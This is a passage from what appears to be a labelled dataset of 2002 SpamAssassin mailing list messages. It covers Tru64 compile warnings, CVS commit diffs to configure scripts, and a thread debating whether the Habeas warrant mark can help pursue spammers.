unsigned char"". (ptrmismatch) full_write (out,msg_buf,bytes); --------------------^ cc: Warning: spamd/spamc.c, line 306: In this statement, the referenced type of the pointer value ""buf"" is ""char"", which is not compatible with ""unsigned char"". (ptrmismatch) if(full_read (in,buf,2,2) != 2 || !('\r' == buf[0] && '\n' == buf[1])) ---------------------------^ cc: Warning: spamd/spamc.c, line 321: In this statement, the referenced type of the pointer value ""buf"" is ""char"", which is not compatible with ""unsigned char"". (ptrmismatch) while((bytes=full_read (in,buf,8192, 8192)) > 0) -------------------------------^ cc: Warning: spamd/spamc.c, line 348: In this statement, the referenced type of the pointer value ""out_buf"" is ""char"", which is not compatible with ""const unsigned char"". (ptrmismatch) full_write (out, out_buf, out_index); -----------------------^ cc: Warning: spamd/spamc.c, line 497: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const unsigned char"". (ptrmismatch) full_write (STDOUT_FILENO,msg_buf,amount_read); --------------------------------^ cc: Warning: spamd/spamc.c, line 512: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const unsigned char"". (ptrmismatch) full_write(STDOUT_FILENO,msg_buf,amount_read); -------------------------------^ *** Exit 1 Stop. Can anyone suggest a way to get around this? TIA... Jim *-------------------------------------------------------------------------* * James H. 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Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jon Gabrielson ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:35:33 -0500",[SAtalk] moving SPAM: results to bottom of message.,"Is there a way to tell spamassassin to put the results at the bottom of the message instead? If not, what is the easiest way to do this. I found a report_header, but no equivalent report_bottom. Thanks, Jon. jon.g@directfreight.com ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 28 Aug 2002 15:46:30 -0700","[SACVS] CVS: spamassassin/t SATest.pm,1.15.4.1,1.15.4.2","Update of /cvsroot/spamassassin/spamassassin/t In directory usw-pr-cvs1:/tmp/cvs-serv3992/t Modified Files: Tag: b2_4_0 SATest.pm Log Message: ok, looks like SA can now be run even with another version installed in /usr, again Index: SATest.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/t/SATest.pm,v retrieving revision 1.15.4.1 retrieving revision 1.15.4.2 diff -b -w -u -d -r1.15.4.1 -r1.15.4.2 --- SATest.pm 27 Aug 2002 21:44:14 -0000 1.15.4.1 +++ SATest.pm 28 Aug 2002 22:46:28 -0000 1.15.4.2 @@ -15,7 +15,7 @@ my $tname = shift; $scr = $ENV{'SCRIPT'}; - $scr ||= ""../spamassassin""; + $scr ||= ""perl -w ../spamassassin""; $spamd = $ENV{'SPAMD_SCRIPT'}; $spamd ||= ""../spamd/spamd -x""; ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Matthew Cline ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 15:48:21 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"On Wednesday 28 August 2002 01:50 pm, Robin Lynn Frank wrote: > On Wednesday 28 August 2002 01:34 pm, Brian McNett wrote: > > Also, that little haiku is a copyrighted work, so not only CAN > > Habeas sue, they MUST sue to protect their copyright. And since > > it's a trademark as well, that's a double-whammy. Habeas has > > some pretty high-powered legal people, who will gladly go to > > town on violators. > > The whole point here is to give them the legal leverage they > > need to put spammers out of business, and not only block mail > > from them, but allow through the things that really AREN'T spam. > And if a spammer forges headers??? There must be *some* way of tracking a spammer down, since they are planning on making money from the spam. What a court would consider evidence of being the spammer is another question. -- Give a man a match, and he'll be warm for a minute, but set him on fire, and he'll be warm for the rest of his life. ICQ: 132152059 | Advanced SPAM filtering software: http://spamassassin.org ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Bart Schaefer ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 16:04:00 -0700 (PDT)",Re: [SAtalk] O.T. Habeus -- Why?,"On Wed, 28 Aug 2002, Matthew Cline wrote: > There must be *some* way of tracking a spammer down, since they are > planning on making money from the spam. Many spammers make money not from response to the spam, but from selling the service of spamming on behalf of someone else. You might track down whoever paid for the mailing, but tracking down the actual sender might be more difficult, and even if they manage to recover damages from the buyer they haven't stopped the spammer, so the benefit is strictly to Habeas, not to the recipients of the spam. That's the main problem I have with the whole scenario: My pain, Habeas's gain, and those most likely to be held liable are those least likely to be the really serious abusers. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 28 Aug 2002 16:29:06 -0700","[SACVS] CVS: spamassassin configure,1.1.2.1,1.1.2.2","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv15398 Modified Files: Tag: b2_4_0 configure configure.in Log Message: NetBSD support patch from Klaus Heinz, bug 785 Index: configure =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/configure,v retrieving revision 1.1.2.1 retrieving revision 1.1.2.2 diff -b -w -u -d -r1.1.2.1 -r1.1.2.2 --- configure 27 Aug 2002 23:07:13 -0000 1.1.2.1 +++ configure 28 Aug 2002 23:29:04 -0000 1.1.2.2 @@ -1273,18 +1273,22 @@ cat > conftest.$ac_ext < #include +int main() { +printf (""%d"", SHUT_RD); return 0; +; return 0; } EOF -if (eval ""$ac_cpp conftest.$ac_ext"") 2>&5 | - egrep ""SHUT_RD"" >/dev/null 2>&1; then +if { (eval echo configure:1283: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* shutrd=yes else + echo ""configure: failed program was:"" >&5 + cat conftest.$ac_ext >&5 rm -rf conftest* shutrd=no fi -rm -f conftest* - +rm -f conftest*, fi @@ -1298,7 +1302,7 @@ echo $ac_n ""checking for socket in -lsocket""""... $ac_c"" 1>&6 -echo ""configure:1302: checking for socket in -lsocket"" >&5 +echo ""configure:1306: checking for socket in -lsocket"" >&5 ac_lib_var=`echo socket'_'socket | sed 'y%./+-%__p_%'` if eval ""test \""`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 @@ -1306,7 +1310,7 @@ ac_save_LIBS=""$LIBS"" LIBS=""-lsocket $LIBS"" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then +if { (eval echo configure:1325: \""$ac_link\"") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then rm -rf conftest* eval ""ac_cv_lib_$ac_lib_var=yes"" else @@ -1345,7 +1349,7 @@ fi echo $ac_n ""checking for connect in -linet""""... $ac_c"" 1>&6 -echo ""configure:1349: checking for connect in -linet"" >&5 +echo ""configure:1353: checking for connect in -linet"" >&5 ac_lib_var=`echo inet'_'connect | sed 'y%./+-%__p_%'` if eval ""test \""`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 @@ -1353,7 +1357,7 @@ ac_save_LIBS=""$LIBS"" LIBS=""-linet $LIBS"" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then +if { (eval echo configure:1372: \""$ac_link\"") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then rm -rf conftest* eval ""ac_cv_lib_$ac_lib_var=yes"" else @@ -1392,7 +1396,7 @@ fi echo $ac_n ""checking for t_accept in -lnsl""""... $ac_c"" 1>&6 -echo ""configure:1396: checking for t_accept in -lnsl"" >&5 +echo ""configure:1400: checking for t_accept in -lnsl"" >&5 ac_lib_var=`echo nsl'_'t_accept | sed 'y%./+-%__p_%'` if eval ""test \""`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 @@ -1400,7 +1404,7 @@ ac_save_LIBS=""$LIBS"" LIBS=""-lnsl $LIBS"" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then +if { (eval echo configure:1419: \""$ac_link\"") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then rm -rf conftest* eval ""ac_cv_lib_$ac_lib_var=yes"" else @@ -1439,7 +1443,7 @@ fi echo $ac_n ""checking for dlopen in -ldl""""... $ac_c"" 1>&6 -echo ""configure:1443: checking for dlopen in -ldl"" >&5 +echo ""configure:1447: checking for dlopen in -ldl"" >&5 ac_lib_var=`echo dl'_'dlopen | sed 'y%./+-%__p_%'` if eval ""test \""`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 @@ -1447,7 +1451,7 @@ ac_save_LIBS=""$LIBS"" LIBS=""-ldl $LIBS"" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then +if { (eval echo configure:1466: \""$ac_link\"") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then rm -rf conftest* eval ""ac_cv_lib_$ac_lib_var=yes"" else @@ -1489,12 +1493,12 @@ for ac_func in socket strdup strtod strtol snprintf shutdown do echo $ac_n ""checking for $ac_func""""... $ac_c"" 1>&6 -echo ""configure:1493: checking for $ac_func"" >&5 +echo ""configure:1497: checking for $ac_func"" >&5 if eval ""test \""`echo '$''{'ac_cv_func_$ac_func'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then +if { (eval echo configure:1525: \""$ac_link\"") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then rm -rf conftest* eval ""ac_cv_func_$ac_func=yes"" else @@ -1544,20 +1548,20 @@ echo $ac_n ""checking for h_errno""""... $ac_c"" 1>&6 -echo ""configure:1548: checking for h_errno"" >&5 +echo ""configure:1552: checking for h_errno"" >&5 if eval ""test \""`echo '$''{'herrno'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < int main() { printf (""%d"", h_errno); return 0; ; return 0; } EOF -if { (eval echo configure:1561: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then +if { (eval echo configure:1565: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* herrno=yes else @@ -1580,20 +1584,20 @@ echo $ac_n ""checking for optarg""""... $ac_c"" 1>&6 -echo ""configure:1584: checking for optarg"" >&5 +echo ""configure:1588: checking for optarg"" >&5 if eval ""test \""`echo '$''{'haveoptarg'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < int main() { if (optarg == (char *) 0L) { return 0; } return 1; ; return 0; } EOF -if { (eval echo configure:1597: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then +if { (eval echo configure:1601: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* haveoptarg=yes else @@ -1616,20 +1620,21 @@ echo $ac_n ""checking for in_addr_t""""... $ac_c"" 1>&6 -echo ""configure:1620: checking for in_addr_t"" >&5 +echo ""configure:1624: checking for in_addr_t"" >&5 if eval ""test \""`echo '$''{'inaddrt'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < #include int main() { in_addr_t foo; return 0; ; return 0; } EOF -if { (eval echo configure:1633: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then +if { (eval echo configure:1638: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* inaddrt=yes else @@ -1645,12 +1650,12 @@ echo ""$ac_t""""$inaddrt"" 1>&6 if test $inaddrt = no ; then echo $ac_n ""checking for in_addr_t""""... $ac_c"" 1>&6 -echo ""configure:1649: checking for in_addr_t"" >&5 +echo ""configure:1654: checking for in_addr_t"" >&5 if eval ""test \""`echo '$''{'ac_cv_type_in_addr_t'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < #if STDC_HEADERS @@ -1681,20 +1686,21 @@ echo $ac_n ""checking for INADDR_NONE""""... $ac_c"" 1>&6 -echo ""configure:1685: checking for INADDR_NONE"" >&5 +echo ""configure:1690: checking for INADDR_NONE"" >&5 if eval ""test \""`echo '$''{'haveinaddrnone'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < #include int main() { in_addr_t foo = INADDR_NONE; return 0; ; return 0; } EOF -if { (eval echo configure:1698: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then +if { (eval echo configure:1704: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* haveinaddrnone=yes else @@ -1717,20 +1723,23 @@ echo $ac_n ""checking for EX__MAX""""... $ac_c"" 1>&6 -echo ""configure:1721: checking for EX__MAX"" >&5 +echo ""configure:1727: checking for EX__MAX"" >&5 if eval ""test \""`echo '$''{'haveexmax'+set}'`\"" = set""; then echo $ac_n ""(cached) $ac_c"" 1>&6 else cat > conftest.$ac_ext < +#endif #include int main() { int foo = EX__MAX; return 0; ; return 0; } EOF -if { (eval echo configure:1734: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then +if { (eval echo configure:1743: \""$ac_compile\"") 1>&5; (eval $ac_compile) 2>&5; }; then rm -rf conftest* haveexmax=yes else Index: configure.in =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/configure.in,v retrieving revision 1.1.2.1 retrieving revision 1.1.2.2 diff -b -w -u -d -r1.1.2.1 -r1.1.2.2 --- configure.in 27 Aug 2002 23:07:13 -0000 1.1.2.1 +++ configure.in 28 Aug 2002 23:29:04 -0000 1.1.2.2 @@ -26,9 +26,11 @@ AC_CACHE_CHECK([for SHUT_RD], shutrd, [ - AC_EGREP_HEADER(SHUT_RD, sys/socket.h, + AC_TRY_COMPILE([#include +#include ], + [printf (""%d"", SHUT_RD); return 0;], [shutrd=yes], - [shutrd=no]) + [shutrd=no]), ]) if test $shutrd = yes ; then AC_DEFINE(HAVE_SHUT_RD) @@ -73,7 +75,8 @@ AC_CACHE_CHECK([for in_addr_t], inaddrt, [ - AC_TRY_COMPILE([#include ], + AC_TRY_COMPILE([#include +#include ], [in_addr_t foo; return 0;], [inaddrt=yes], [inaddrt=no]), @@ -86,7 +89,8 @@ AC_CACHE_CHECK([for INADDR_NONE], haveinaddrnone, [ - AC_TRY_COMPILE([#include ], + AC_TRY_COMPILE([#include +#include ], [in_addr_t foo = INADDR_NONE; return 0;], [haveinaddrnone=yes], [haveinaddrnone=no]), @@ -99,7 +103,10 @@ AC_CACHE_CHECK([for EX__MAX], haveexmax, [ - AC_TRY_COMPILE([#include ], + AC_TRY_COMPILE([#ifdef HAVE_SYSEXITS_H +#include +#endif +#include ], [int foo = EX__MAX; return 0;], [haveexmax=yes], [haveexmax=no]), ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Justin Mason"" ",felicity@kluge.net,"Thu, 29 Aug 2002 00:34:17 +0100 (IST)",Re: [SAdev] 2.40: ready for release?,"> t/db_based_whitelist.Use of bare << to mean <<"""" is deprecated at > ../lib/Mail/SpamAssassin/HTML.pm line 1. Use of bare << to mean <<"""" is > deprecated at ../lib/Mail/SpamAssassin/HTML.pm line 6. Unquoted string hmm, could you check your installation? those chars aren't in my version at all. --j. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Daniel Quinlan ,Matthew Cline ,28 Aug 2002 16:38:19 -0700,Re: [SAtalk] O.T. Habeus -- Why?,"Matthew Cline writes: > There must be *some* way of tracking a spammer down, since they are > planning on making money from the spam. What a court would consider > evidence of being the spammer is another question. Haha!!! Just a few notes: - It will be difficult to find, prosecute, and win money from someone in various non-friendly countries where spam originates (China is a good example) even if they do officially ""respect"" copyright law. - Law suits take time. Between now and conclusion of the first court case, we could have years of spam in our mail boxes! - Contact information can change: phone numbers, PO boxes, stolen cell phones, temporary email addresses, etc. - Spammers do not always remember to include contact information! I don't understand it either, but nobody said they were bright. Also, some spam is non-commercial or sent by a third-party (for example, ""pump and dump"" stock scams), so contact information is not strictly required for the spammer to get their way. Dan ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Brian McNett ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:05:49 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"On Wednesday, August 28, 2002, at 01:50 PM, Robin Lynn Frank wrote: > And if a spammer forges headers??? Header forgeries are trivially easy to detect. The main way that spammers hide their originating IPs is not by forging headers, but by sending through open proxy servers. It used to be that spammers used open relay mailserver, but these often betray the originating IP, and the proliferation of open relay blocklists, and the introduction of port 25 blocking on the part of many ISPs make open relays unattractive to spammers. One would think, that the combination of a forged Habeas-SWE, and mail sent through an anonymizing open proxy would be a fairly good indication of spam. Tracking a spammer to his meatspace location is not as difficult as you might think, once you have legal recourse to subpoena records. --B ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Brian McNett ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:45:49 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"On Wednesday, August 28, 2002, at 04:38 PM, Daniel Quinlan wrote: > Just a few notes: > > - It will be difficult to find, prosecute, and win money from someone > in various non-friendly countries where spam originates (China is a > good example) even if they do officially ""respect"" copyright law. A lot of spam which *appears* to originate from China, and even a lot which advertises websites hosted there, is sent by, and is done for the benefit of, companies based in the US. The spam often appears to originate there because it's coming from open http, or squid proxy servers. It's hosted there because these spammers are now persona-non-grata on all US ISPs. One hardly needs to involve the Chinese government in a case where a US citizen is violating US law. > - Law suits take time. Between now and conclusion of the first court > case, we could have years of spam in our mail boxes! The first court cases were actually concluded years ago. These include many legal precedents which are used to protect the rights of ISPs to block mail, and to terminate service to spammers. > - Contact information can change: phone numbers, PO boxes, stolen > cell phones, temporary email addresses, etc. Surprising then, how much information you can find on the current whereabouts of long-time spammers like Alan Ralksy of Detroit, Michigan. Ralsky is a guy who even gives interviews to the news media. If you can connect a specific corpus of spam to him, his street address is well known. Ralsky is a prime candidate for lawsuits in any state with an anti-spam law. Thomas Cowles is another long-time spammer, but last I heard he'd been jailed for stealing computer equipment from his business partner, Eddy Marin (also a long time spammer (You've heard of PopLaunch, right?) > - Spammers do not always remember to include contact information! I > don't understand it either, but nobody said they were bright. Also, > some spam is non-commercial or sent by a third-party (for example, > ""pump and dump"" stock scams), so contact information is not strictly > required for the spammer to get their way. Back when I was working at MAPS, there was a flap over a pump-and-dump spammer, Rodona Garst. Seems she had an open file-share on her laptop, and when she forged the wrong domain, the real owner hacked in and posted all her private information on a website. Oh, look, it's still there, including the nude photos: http://belps.freewebsites.com/ I recall this well, because the SEC was VERY interested in confirming the validity of the information found online. There were some ""interesting"" conversations. This summer, the SEC released the following: http://www.sec.gov/litigation/admin/33-8113.htm Yes, the investigation took two years, but the financial penalty for operating a pump-and-dump scam isn't small. The wheels of government grind slow, but the grind very fine indeed. --B ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Ken"" ",,"Wed, 28 Aug 2002 20:52:25 -0400",[SAtalk] Having a problem,"Now that I have spam assassin and mailscanner working, how can I have smap deleted rather than forwarded? I changed spam.actions.conf to ""default delete"" but it is still sending it to the recipient. Thanks, Ken ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Matthew Cline ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:49:37 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"On Wednesday 28 August 2002 04:38 pm, Daniel Quinlan wrote: > Matthew Cline writes: > > There must be *some* way of tracking a spammer down, since they are > > planning on making money from the spam. What a court would consider > > evidence of being the spammer is another question. > Haha!!! > Just a few notes: > - It will be difficult to find, prosecute, and win money from someone > in various non-friendly countries where spam originates (China is a > good example) even if they do officially ""respect"" copyright law. SA (and other filters) could be configured to ignore the SWE mark if it appears to come from/through China. > - Spammers do not always remember to include contact information! I > don't understand it either, but nobody said they were bright. Also, > some spam is non-commercial or sent by a third-party (for example, > ""pump and dump"" stock scams), so contact information is not strictly > required for the spammer to get their way. SA could also be configured so that SWE marks are ignored in messages that look like third-party spam (like stock scams). Of course, this would still mean that ""The U.N. is going to invade America!"" spams with SWE would get through. Probably also need to ignore SWE in messages that look like Nigerian scams. -- Give a man a match, and he'll be warm for a minute, but set him on fire, and he'll be warm for the rest of his life. ICQ: 132152059 | Advanced SPAM filtering software: http://spamassassin.org ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Dan Kohn"" ",,"Wed, 28 Aug 2002 20:09:49 -0700",RE: [SAtalk] O.T. Habeus -- Why?,"Guys, the Habeas Infringers List (HIL) exists explicitly to deal with spammers while we're getting judgments against them and especially in other countries, where those judgments are harder to get. Please note that nobody has ever had an incentive before to go after regular spammers. Yes, some attorneys general have prosecuted blatant pyramid schemes, and ISPs have won some theft of service suits, but the vast majority of spammers go forward with out any legal hassles. So, I can't understand how Daniel can assert that you can't track spammers down when it's never really been tried. We can subpoena the records of the business they spammed on behalf of. We can subpoena the records of the ISP that provided them service, and of the credit card they used for the whack-a-mole accounts. We can use private investigators. Yes, these people are often lowlifes (chickenboners). But, they're not secret agents. They're just trying to make a buck, and Habeas' whole business is about finding them and putting them out of business Habeas has the incentive to pursue spammers (that use our warrant mark) in a way that no one ever has had before. Given that our whole business plan relies on Habeas becoming synonymous with ""not spam"", I can't understand why you would assume ahead of time that we will be unsuccessful, plan for that failure, and in so doing, remove the potential of success, which is anti-spam filters like SA acting on the Habeas warrant mark. Daniel, it's easy enough for you to change the Habeas scores yourself on your installation. If Habeas fails to live up to its promise to only license the warrant mark to non-spammers and to place all violators on the HIL, then I have no doubt that Justin and Craig will quickly remove us from the next release. But, you're trying to kill Habeas before it has a chance to show any promise. At the end of the day, SpamAssassin is like the Club, in that it encourages thieves (spammers) to just go after the next car (those without SA) rather than yours. Habeas can play the role of LoJack (the transmitter), in enabling the apprehension of thieves so that they don't steal any more cars. But only if we're given a chance to succeed. - dan -- Dan Kohn -----Original Message----- From: Daniel Quinlan [mailto:quinlan@pathname.com] Sent: Wednesday, August 28, 2002 16:38 To: Matthew Cline Cc: spamassassin-talk@example.sourceforge.net Subject: Re: [SAtalk] O.T. Habeus -- Why? Matthew Cline writes: > There must be *some* way of tracking a spammer down, since they are > planning on making money from the spam. What a court would consider > evidence of being the spammer is another question. Haha!!! Just a few notes: - It will be difficult to find, prosecute, and win money from someone in various non-friendly countries where spam originates (China is a good example) even if they do officially ""respect"" copyright law. - Law suits take time. Between now and conclusion of the first court case, we could have years of spam in our mail boxes! - Contact information can change: phone numbers, PO boxes, stolen cell phones, temporary email addresses, etc. - Spammers do not always remember to include contact information! I don't understand it either, but nobody said they were bright. Also, some spam is non-commercial or sent by a third-party (for example, ""pump and dump"" stock scams), so contact information is not strictly required for the spammer to get their way. Dan ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Lars Hansson ,spamassassin-talk@example.sourceforge.net,"Thu, 29 Aug 2002 11:27:25 +0800",Re: [SAtalk] O.T. Habeus -- Why?,"On Wed, 28 Aug 2002 17:45:49 -0700 Brian McNett wrote: > The first court cases were actually concluded years ago. These > include many legal precedents which are used to protect the > rights of ISPs to block mail, and to terminate service to > spammers. Yeah, but these would be different cases relating to copyright infringements, not about ISP's blocking mail or not. --- Lars Hansson ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Rick Beebe ,Don Newcomer ,"Thu, 29 Aug 2002 00:42:56 -0400",Re: [SAtalk] Tru64 compile of SA,"Don Newcomer wrote: > I'm a new user (or about to be, hopefully) of SA but I've run into some > compilation errors that prevent me from installing. Rather than picking > through the code, I thought I'd avoid reinventing the wheel and ask here. > When I run the 'make', I get the following: > > cc: Error: spamd/spamc.c, line 50: In this declaration, ""in_addr_t"" has no > linka > ge and has a prior declaration in this scope at line number 572 in file > /usr/inc > lude/sys/types.h. (nolinkage) > typedef unsigned long in_addr_t; /* base type for internet address > */ Don't worry about the warnings. To fix the error, edit spamc.c and right after the line that says: #define EX__MAX 77 Add: #if !defined __osf__ extern char *optarg; typedef unsigned long in_addr_t; /* base type for internet address */ #endif (you're adding the two lines that start with #). --Rick ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Sidney Markowitz"" ","""Theo Van Dinter"" ,","Wed, 28 Aug 2002 21:49:49 -0700",Re: [SAdev] 2.40: ready for release?,"> It's this section of spamassassin.raw: > > <<<<<<< spamassassin.raw [...snip] } > =3D=3D=3D=3D=3D=3D=3D [... snip ...] > >>>>>>> 1.68.2.10 [...snip...] This is what cvs puts in when you modify the copy of the file on your disk and someone checks in a change and then you pull an update and cvs can't figure out how to merge your changes and the checked in changes. The lines between the <<<<<< and the ===== are in your file and the ones in the next section are what have been checked in. You must have not noticed the warning messages about conflicts that cvs gave you when you did the update, and the ""C"" flag next to that file when cvs listed the files being pulled. -- sidney ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Skip Montanaro ,Daniel Quinlan ,"Thu, 29 Aug 2002 00:44:53 -0500",Re: [SAtalk] O.T. Habeus -- Why?,"DanQ> I think it would make more sense to start Habeas with a less DanQ> aggressive score (one which will not give spammers a quick path DanQ> into everyone's inbox) and after we've seen evidence that the DanQ> system works, then we can increase the magnitude of the score. Better yet, let the GA figure out the correct score. ;-) That will obviously take awhile since you'll have to acquire enough messages with it, but it should give you a good idea if the presence of Habeus headers are good spam indicators or not. If they are, my guess is that Habeus will probably not succeed. Taking things further off-topic: Does Habeus charge a license fee to organizations who want to use their copyrighted material or is their sole revenue stream to come from legal judgements? On the one hand, if they charge license fees, I'd worry that when times got tough they'd be somewhat less critical of organizations we'd call spammers today in order to generate license fees. If not, I'd worry the pendulum would swing the other way and they'd go after legitimate businesses in an attempt to generate more revenues from judgements and/or out of court settlements. Either way, it seems like they have an 